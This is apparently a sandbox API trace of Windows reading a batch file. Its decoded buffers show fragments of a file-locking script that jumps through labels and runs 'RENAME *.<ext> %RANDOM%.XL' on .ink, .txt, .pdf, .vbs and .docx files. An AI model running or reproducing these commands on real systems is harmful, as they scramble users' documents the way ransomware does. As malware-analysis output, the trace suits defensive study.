MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0039.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0039.306] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.306] GetFileType (hFile=0x74) returned 0x1 [0039.306] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0039.306] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=2980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0039.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0039.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0039.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.307] GetFileType (hFile=0x74) returned 0x1 [0039.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0039.307] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=3006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0039.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0039.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0039.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.307] GetFileType (hFile=0x74) returned 0x1 [0039.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0039.307] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=3017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0039.307] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0039.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0039.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.308] GetFileType (hFile=0x74) returned 0x1 [0039.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0039.308] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=3019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0039.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0039.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.308] GetFileType (hFile=0x74) returned 0x1 [0039.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0039.308] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=3025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0039.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0039.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0039.309] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.309] GetFileType (hFile=0x74) returned 0x1 [0039.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd1 [0039.309] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=3027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0039.309] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0039.309] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0039.309] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.309] GetFileType (hFile=0x74) returned 0x1 [0039.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbd3 [0039.309] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=3053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0039.309] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0039.309] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.309] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0039.309] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.309] GetFileType (hFile=0x74) returned 0x1 [0039.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbed [0039.310] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=3064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0039.310] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0039.310] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0039.310] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.310] GetFileType (hFile=0x74) returned 0x1 [0039.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbf8 [0039.310] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=3066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0039.310] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.310] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0039.310] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.310] GetFileType (hFile=0x74) returned 0x1 [0039.310] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbfa [0039.311] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=3072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0039.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0039.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0039.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.311] GetFileType (hFile=0x74) returned 0x1 [0039.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0039.311] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=3074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0039.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ndf\r\n") returned 2 [0039.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0039.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.311] GetFileType (hFile=0x74) returned 0x1 [0039.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc02 [0039.311] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=3100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0039.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.pdf %RANDOM%.XL\r\n") returned 26 [0039.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0039.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.312] GetFileType (hFile=0x74) returned 0x1 [0039.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc1c [0039.312] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=3111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0039.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0039.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0039.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.312] GetFileType (hFile=0x74) returned 0x1 [0039.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc27 [0039.312] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.312] SetFilePointer (in: hFile=0x74, lDistanceToMove=3113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0039.312] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.312] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0039.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.313] GetFileType (hFile=0x74) returned 0x1 [0039.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc29 [0039.313] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=3119, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0039.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0039.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0039.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.313] GetFileType (hFile=0x74) returned 0x1 [0039.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc2f [0039.313] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=3121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0039.313] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0039.313] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.313] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0039.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.314] GetFileType (hFile=0x74) returned 0x1 [0039.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc31 [0039.314] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=3147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0039.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0039.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0039.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.314] GetFileType (hFile=0x74) returned 0x1 [0039.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0039.314] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=3158, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0039.314] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0039.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0039.314] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.314] GetFileType (hFile=0x74) returned 0x1 [0039.314] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc56 [0039.315] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=3160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0039.315] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0039.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.315] GetFileType (hFile=0x74) returned 0x1 [0039.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc58 [0039.315] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=3167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0039.315] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0039.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0039.315] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.315] GetFileType (hFile=0x74) returned 0x1 [0039.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc5f [0039.315] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.315] SetFilePointer (in: hFile=0x74, lDistanceToMove=3169, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0039.316] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0039.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0039.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.316] GetFileType (hFile=0x74) returned 0x1 [0039.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc61 [0039.316] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=3196, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0039.316] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\n") returned 27 [0039.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0039.316] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.316] GetFileType (hFile=0x74) returned 0x1 [0039.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc7c [0039.316] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.316] SetFilePointer (in: hFile=0x74, lDistanceToMove=3207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc87 [0039.316] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 